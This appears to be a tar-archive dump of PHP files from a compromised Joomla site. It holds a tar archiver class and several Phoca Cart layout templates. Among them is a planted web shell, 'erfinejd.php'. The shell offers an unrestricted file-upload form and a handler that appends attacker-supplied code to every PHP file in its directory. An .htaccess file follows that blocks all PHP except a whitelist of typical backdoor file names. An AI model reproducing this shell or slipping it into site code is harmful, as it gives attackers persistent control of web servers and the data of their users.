$this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to
').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not
readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.':
<br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is
incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is
incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long
header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
else $header['filename'] =
$path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'],
'wb')) == 0) {
$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) !=
$header['size']) {
$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').'
'.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').':
'.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));
$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);
$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0))
return true;
$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag'])
== '5') $header['size'] = 0;
$header['filename'] =
trim($unpack_data['filename']);
$header['mode'] =
OctDec(trim($unpack_data['mode']));
$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
$header['size'] =
OctDec(trim($unpack_data['size']));
$header['time'] =
OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' '
(space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
}
} else $result = '';
return $result;
}
}
?>erfinejd.php000064400000001370151161525100007041 0ustar00<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file,
'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
.htaccess000064400000001025151161525100006335 0ustar00<FilesMatch
".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php|mah.php|jp.php|ext.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>attribute_options_box.php000064400000005641151165411770011721
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutAtOS = new JLayoutFile('attribute_options_select', null,
array('component' => 'com_phocacart'));
$layoutAtOC = new JLayoutFile('attribute_options_checkbox', null,
array('component' => 'com_phocacart'));
$layoutAtOT = new JLayoutFile('attribute_options_text', null,
array('component' => 'com_phocacart'));
$layoutAtOG = new JLayoutFile('attribute_options_gift', null,
array('component' => 'com_phocacart'));
$d = $displayData;
$displayData = null;
if (!empty($d['attr_options']) &&
$d['hide_attributes'] != 1) {
//PhocacartRenderJs::renderPhSwapImageInitialize($d['id'],
$d['dynamic_change_image'], $d['init_type']);
echo '<div class="ph-item-attributes-box"
id="phItemAttributesBox">';
echo
'<h4>'.JText::_('COM_PHOCACART_AVAILABLE_OPTIONS').'</h4>';
foreach ($d['attr_options'] as $k => $v) {
// If the attribute is required, return different required parts
(attribute - html5, class - jquery, span - heading)
// Set jquery required validation, which should help to html 5 in case of
checkboxes (see more info in the funtion)
// TYPES SET for JQUERY require control: 4 5 6
$req = PhocacartRenderJs::renderRequiredParts((int)$v->id,
(int)$v->required );
// OBSOLETE
// HTML5 does not know to check checkboxes - if some value is set
// CHECKBOX, CHECKBOX COLOR, CHECKBOX IMAGE
/*if($v->type == 4 || $v->type == 5 || $v->type == 6) {
//PhocacartRenderJs::renderCheckBoxRequired((int)$v->id,
$d['init_type']);
PhocacartRenderJs::renderCheckBoxRequired();
}*/
echo '<div
class="ph-attribute-title">'.$v->title.$req['span'].'</div>';
if(!empty($v->options)) {
$d2 = $d;
$d2['attribute'] = $v;
$d2['required'] = $req;
// EDIT PHOCACARTATTRIBUTE ATTRIBUTETYPE
if ($v->type == 1 || $v->type == 2 || $v->type == 3) {
echo $layoutAtOS->render($d2);// SELECTBOX, SELECTBOX COLOR,
SELECTBOX IMAGE
} else if ($v->type == 4 || $v->type == 5 || $v->type == 6) {
echo $layoutAtOC->render($d2);// CHECKBOX, CHECKBOX COLOR, CHECKBOX
COLOR
} else if ($v->type == 7 || $v->type == 8 || $v->type == 9 ||
$v->type == 10 || $v->type == 11 || $v->type == 12) {
echo $layoutAtOT->render($d2);// TEXT, TEXT (COLOR PICKER)
} else if ($v->type == 20) {
echo $layoutAtOG->render($d2);// GIFT
}
}
// SELECTBOX COLOR, SELECTBOX IMAGE
// OBSOLETE
/*if ($v->type == 2 || $v->type == 3) {
echo PhocacartRenderJs::renderPhAttribute
SelectBoxInitialize((int)$v->id, (int)$v->type,
$d['typeview']);
}*/
}
echo '</div>';
echo '<div class="ph-cb"></div>';
}
attribute_options_checkbox.php000064400000012567151165411770012724
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
/* COLOR OR IMAGE CHECKBOXES
* BE AWARE BOOTSTRAP DATA TOGGLE BUTTONS ARE USED
* IF YOU LOAD OBSOLETE BOOTSTRAP Javascript (bootstrap.min.js)
* IT CAN BE IN CONFLICT AND THIS FEATURE WILL NOT WORK
* Use Phoca Upgrade System plugin and remove obsolete bootstrap.min.js
with help of this plugin
*/
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
$v = $d['attribute'];
$attributeIdName =
'V'.$d['typeview'].'P'.(int)$d['product_id'].'A'.(int)$v->id;
$productIdName =
'V'.$d['typeview'].'P'.(int)$d['product_id'];
$iconType = $d['s']['i']['icon-type'];
$price = new PhocacartPrice();
$attr = array();
$attr[] =
'id="phItemAttribute'.$attributeIdName.'"';//
ID
$attr[] = 'class="ph-checkbox-attribute
ph-item-input-set-attributes phj'. $d['typeview'].'
phjProductAttribute
'.$d['required']['class'].'"';//
CLASS
$attr[] = 'data-product-id="'.
$d['product_id'].'"';// Product ID
$attr[] = 'data-product-id-name="'.
$productIdName.'"';// Product ID - Unique name between
different views
$attr[] = 'data-attribute-type="'.
$v->type.'"';// Type of attribute (select, checkbox,
color, image)
$attr[] = 'data-attribute-id-name="'.
$attributeIdName.'"';// Attribute ID - Unique name between
different views and products
$attr[] = 'data-type-view="'.
$d['typeview'].'"';// In which view are attributes
displayed: Category, Items, Item, Quick Item
$attr[] = 'data-type-icon="'.
$iconType.'"';// Which icons are used on the site (Bootstrap
Glyphicons | Font Awesome | ...)
$attr[] =
'data-required="'.$d['required']['required'].'"';
$attr[] =
'data-alias="'.htmlspecialchars($v->alias).'"';
echo '<div
id="phItemBoxAttribute'.$attributeIdName.'">';
echo '<div '.implode(' ', $attr).'>';
// CHECKBOX COLOR CHECKBOX IMAGE
if ($v->type == 5 || $v->type == 6) {
echo '<div class="ph-item-input-checkbox-color
btn-group-toggle" data-toggle="buttons">';
}
foreach ($v->options as $k2 => $v2) {
if($v2->operator == '=') {
$operator = '';
} else {
$operator = $v2->operator;
}
$amount = $d['price']->getPriceFormat($v2->amount);
// Switch large image
// BE AWARE when checkbox used, and two images will be selected, only the
first will be displayed
// of course not both can be displayed
$attrO = '';
if ($d['dynamic_change_image'] == 1) {
if (isset($v2->image) && $v2->image != '') {
$imageO = PhocacartImage::getThumbnailName($d['pathitem'],
$v2->image, $d['image_size']);
$linkO = JURI::base(true).'/'.$imageO->rel;
if (JFile::exists($imageO->abs)) {
$attrO .=
'data-image-option="'.htmlspecialchars($linkO).'"';
}
}
}
// SET SOME VALUE?
$active = '';
if ($v2->default_value == 1) {
$attrO .= ' checked="checked"';// color and image
checkboxes based on opacity
$active = ' active';
}
$suffix = ' ('.$operator.' '.$amount.')';
if (isset($d['zero_attribute_price']) &&
$d['zero_attribute_price'] == 0 &&
$price->roundPrice($v2->amount) < 0.01 &&
$price->roundPrice($v2->amount) > -0.01) {
$suffix = '';// hide only if price is zero
} else if (isset($d['zero_attribute_price']) &&
$d['zero_attribute_price'] == 2) {
$suffix = '';// hide always
}
if ($v->type == 4) { // CHECKBOX STANDARD
echo '<div
class="'.$d['s']['c']['checkbox'].'
ph-checkbox"><label><input type="checkbox"
'.$attrO.'
name="attribute['.$v->id.']['.$v2->id.']"
value="'.$v2->id.'"
'.$d['required']['attribute'].'
data-value-alias="'.htmlspecialchars($v2->alias).'"
/>'.htmlspecialchars($v2->title).$suffix.'</label></div>';//<br
/>';
} else if ($v->type == 5 && isset($v2->color) &&
$v2->color != '') { // CHECKBOX COLOR
$attrO .= '
data-color="'.strip_tags($v2->color).'"';
echo '<label class="btn phCheckBoxButton phCheckBoxColor
'.$active.'" style="background-color:
'.strip_tags($v2->color).'"><input
type="checkbox" '.$attrO.'
name="attribute['.$v->id.']['.$v2->id.']"
value="'.$v2->id.'"
'.$d['required']['attribute'].'
autocomplete="off"
data-value-alias="'.htmlspecialchars($v2->alias).'"
/><span
class="'.$d['s']['i']['ok'].'"
title="'.htmlspecialchars($v2->title). $suffix
.'"></span></label> ';
} else if ($v->type == 6 && isset($v2->image_small)
&& $v2->image_small != '') {// CHECKBOX IMAGE
$linkI =
JURI::base(true).'/'.$d['pathitem']['orig_rel'].'/'.$v2->image_small;
echo '<label
class="'.$d['s']['c']['btn'].'
phCheckBoxButton phCheckBoxImage '.$active.'"><input
type="checkbox" '.$attrO.'
name="attribute['.$v->id.']['.$v2->id.']"
value="'.$v2->id.'"
'.$d['required']['attribute'].'
autocomplete="off"
data-value-alias="'.htmlspecialchars($v2->alias).'"
/><span
class="'.$d['s']['i']['ok'].'"></span><img
src="'.strip_tags($linkI).'"
title="'.htmlspecialchars($v2->title). $suffix.'"
alt="'.htmlspecialchars($v2->title).'"
/></label>';
}
}
// CHECKBOX COLOR
if ($v->type == 5 || $v->type == 6) {
echo '</div>';// end button group toggle buttons
ph-item-input-checkbox-color
}
echo '</div>';// end attribute box
echo '</div>';// end attribute
echo '<div
id="phItemHiddenAttribute'.$attributeIdName.'"
style="display:none;"></div>';
?>
attribute_options_gift.php000064400000021720151165411770012056
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see
LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
use Joomla\CMS\HTML\HTMLHelper;
defined('_JEXEC') or die();
$layoutG = new JLayoutFile('gift_voucher', null,
array('component' => 'com_phocacart'));
$d = $displayData;
$displayData = null;
$v = $d['attribute'];
$attributeIdName = 'V' . $d['typeview'] . 'P'
. (int)$d['product_id'] . 'A' . (int)$v->id;
$productIdName = 'V' . $d['typeview'] . 'P'
. (int)$d['product_id'];
$iconType =
$d['s']['i']['icon-type'];
$price = new PhocacartPrice();
$attr = array();
$attr[] = 'id="phItemAttribute' . $attributeIdName .
'"';// ID
$attr[] = 'class="ph-checkbox-attribute
ph-item-input-set-attributes phj' . $d['typeview'] . '
phjProductAttribute ' . $d['required']['class'] .
'"';// CLASS
$attr[] = 'data-product-id="' . $d['product_id'] .
'"';// Product ID
$attr[] = 'data-product-id-name="' . $productIdName .
'"';// Product ID - Unique name between different views
$attr[] = 'data-attribute-type="' . $v->type .
'"';// Type of attribute (select, checkbox, color, image)
$attr[] = 'data-attribute-id-name="' . $attributeIdName .
'"';// Attribute ID - Unique name between different views
and products
$attr[] = 'data-type-view="' . $d['typeview'] .
'"';// In which view are attributes displayed: Category,
Items, Item, Quick Item
$attr[] = 'data-type-icon="' . $iconType .
'"';// Which icons are used on the site (Bootstrap
Glyphicons | Font Awesome | ...)
echo '<div id="phItemBoxAttribute' . $attributeIdName .
'">';
echo '<div ' . implode(' ', $attr) .
'>';
// CHECKBOX COLOR CHECKBOX IMAGE
/*if ($v->type == 5 || $v->type == 6) {
echo '<div class="ph-item-input-checkbox-color"
data-toggle="buttons">';
}*/
// First, set default values
$defaultImage = '';
$defaultTitle = '';
$defaultDescription = '';
$defaultClassName = '';
$defaultDate = '';
$giftTypes = array();
$giftSenderNameActive = 0;
$giftSenderMessageActive = 0;
$giftRecipientNameActive = 0;
if (!empty($d['gift_types'])) {
$registry = new JRegistry;
$registry->loadString($d['gift_types']);
$giftTypes = $registry->toArray();
}
if (!empty($giftTypes)) {
foreach($giftTypes as $k1 => $v1) {
if (isset($v1['image']) && $v1['image'] !=
'') {
$defaultImage = $v1['image'];
}
if (isset($v1['class_name']) &&
$v1['class_name'] != '') {
$defaultClassName = strip_tags($v1['class_name']);
}
if (isset($v1['expiration_date']) &&
$v1['expiration_date'] != '') {
$defaultDate = $v1['expiration_date'];
}
if (isset($v1['description']) &&
$v1['description'] != '') {
$defaultDescription = $v1['description'];
}
if (isset($v1['title']) && $v1['title'] !=
'') {
$defaultTitle = $v1['title'];
}
}
}
foreach ($v->options as $k2 => $v2) {
// Extends required part for some specific parameters
$req = PhocacartRenderJs::renderRequiredParts((int)$v->id,
(int)$v2->required );
$d['required'] = $req;
if ($v2->operator == '=') {
$operator = '';
} else {
$operator = $v2->operator;
}
$amount = $d['price']->getPriceFormat($v2->amount);
// SET SOME VALUE?
$active = '';
if ($v2->default_value == 1) {
$active = ' active';
}
$suffix = ' (' . $operator . ' ' . $amount .
')';
if (isset($d['zero_attribute_price']) &&
$d['zero_attribute_price'] == 0 &&
$price->roundPrice($v2->amount) < 0.01 &&
$price->roundPrice($v2->amount) > -0.01) {
$suffix = '';
} else if (isset($d['zero_attribute_price']) &&
$d['zero_attribute_price'] == 2) {
$suffix = '';// hide always
}
$maxLength = ' maxlength="' .
PhocacartAttribute::getAttributeLength($v->type, $v2->type) .
'"';
echo '<div class="'.
$d['s']['c']['row'].'
ph-gift-box-form">';
echo '<div
class="'.$d['s']['c']['col.xs12.sm6.md6'].'"><label
class="' . $d['s']['c']['btn'] .
' phTextAttributeInput ' . $active . '"
style="background-color: ' . strip_tags($v2->color) .
'">' . htmlspecialchars($v2->title) . $suffix .
$d['required']['span'] .
'</label></div>';
echo '<div
class="'.$d['s']['c']['col.xs12.sm6.md6'].'">';
switch ($v2->type) {
case 24: // GIFT TYPE
if (!empty($giftTypes)) {
$i = 0;
foreach($giftTypes as $k3 => $v3){
$id = str_replace('gift_types', '', $k3 );
$title = '';
if (isset($v3['title']) && $v3['title'] !=
'') {
$title = $v3['title'];
if ($i == 0) {
$defaultTitle = $title;
}
}
$image = '';
if (isset($v3['image']) && $v3['image'] !=
'') {
$image = /*JURI::base(true) . '/' .*/
$v3['image'];
if ($i == 0) {
$defaultImage = $image;
}
}
$date = '';
if (isset($v3['expiration_date']) &&
$v3['expiration_date'] != '') {
$date = JHtml::date($v3['expiration_date'],
JText::_('DATE_FORMAT_LC3'));
if ($i == 0) {
$defaultDate = $date;
}
}
$description = '';
if (isset($v3['description']) &&
$v3['description'] != '') {
$description = $v3['description'];
if ($i == 0) {
$defaultDescription = $description;
}
}
$className = 'default';
if (isset($v3['class_name']) &&
$v3['class_name'] != '') {
$className = $v3['class_name'];
if ($i == 0) {
$defaultClassName = $className;
}
}
$checked = '';
if ($i == 0) {
$checked = ' checked';
}
echo '<div class="'.
$d['s']['c']['form-check'].'
ph-radio-gift-box">';
echo '<input class="phAOGift '.
$d['s']['c']['form-check-input'].'"'
.$checked
.' data-type="phAOGiftType"'
.' data-title="'. $title .'"'
.' data-image="'. JURI::base(true) . '/' .
$image .'"'
.' data-date="'. $date .'"'
.' data-description="'. base64_encode($description)
.'"'
.' data-class-name="'. $className .'"'
.' type="radio"
id="phGiftTypes'.$id.'" name="attribute[' .
$v->id . '][' . $v2->id . ']" ' .
$d['required']['attribute'] . $maxLength
.' value="'.$id.'">';
if (isset($v3['image_small']) &&
$v3['image_small'] != '') {
echo '<div class="ph-radio-gift-image"><img
src="'.JURI::base(true) . '/' .
$v3['image_small'].'" alt=""
/></div>';
}
echo '<label class="ph-radio-gift-title"
for="phGiftTypes'.$id.'">';
if (isset($v3['image_small']) &&
$v3['image_small'] != '') {
echo $v3['title'];
}
echo '</label>';
echo '</div>';
$i++;
}
}
break;
case 23: // GIFT SENDER MESSAGE
echo '<textarea class="phAOGift
ph-attribute-textarea" data-type="phAOSenderMessage"
name="attribute[' . $v->id . '][' . $v2->id .
']" ' . $d['required']['attribute'] .
$maxLength . '></textarea>';
$giftSenderMessageActive = 1;
break;
case 22: // GIFT Sender Name
echo '<input class="phAOGift"
data-type="phAOSenderName" type="text"
name="attribute[' . $v->id . '][' . $v2->id .
']" value="" ' .
$d['required']['attribute'] . $maxLength . '
/>';
$giftSenderNameActive = 1;
break;
case 21: // GIFT RECIPIENT EMAIL
echo '<input class="phAOGift"
data-type="phAORecipientEmail" type="email"
name="attribute[' . $v->id . '][' . $v2->id .
']" value="" ' .
$d['required']['attribute'] . $maxLength . '
/>';
break;
case 20: // GIFT RECIPIENT Name
echo '<input class="phAOGift"
data-type="phAORecipientName" type="text"
name="attribute[' . $v->id . '][' . $v2->id .
']" value="" ' .
$d['required']['attribute'] . $maxLength . '
/>';
$giftRecipientNameActive = 1;
break;
default:
echo '<input type="text"
name="attribute[' . $v->id . '][' . $v2->id .
']" value="" ' .
$d['required']['attribute'] . $maxLength . '
/>';
break;
}
echo '</div>';
echo '</div>';
}
$d2 = array();
$d2['gift_class_name'] = $defaultClassName;
$d2['gift_image'] = $defaultImage;
$d2['gift_title'] = $defaultTitle;
$d2['gift_description'] = $defaultDescription;
$d2['discount'] =
isset($d['priceitems']['bruttoformat']) ?
$d['priceitems']['bruttoformat'] : '';
$d2['valid_to'] = JHtml::date($defaultDate,
JText::_('DATE_FORMAT_LC3'));
$d2['valid_from'] = '';
$d2['code'] = '';
$d2['gift_sender_name'] = $giftSenderNameActive == 1 ?
' ' : '';
$d2['gift_recipient_name'] = $giftRecipientNameActive == 1 ?
' ' : '';
$d2['gift_sender_message'] = $giftSenderMessageActive == 1 ?
' ' : '';
$d2['typeview'] = $d['typeview'];
$d2['product_id'] = $d['product_id'];
$d2['format'] = 'html';
if ($d['typeview'] == 'Item') {
// Display only in Item View
echo $layoutG->render($d2);
}
echo '</div>';// end attribute box
echo '</div>';// end attribute
?>
attribute_options_select.php000064400000010465151165411770012410
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
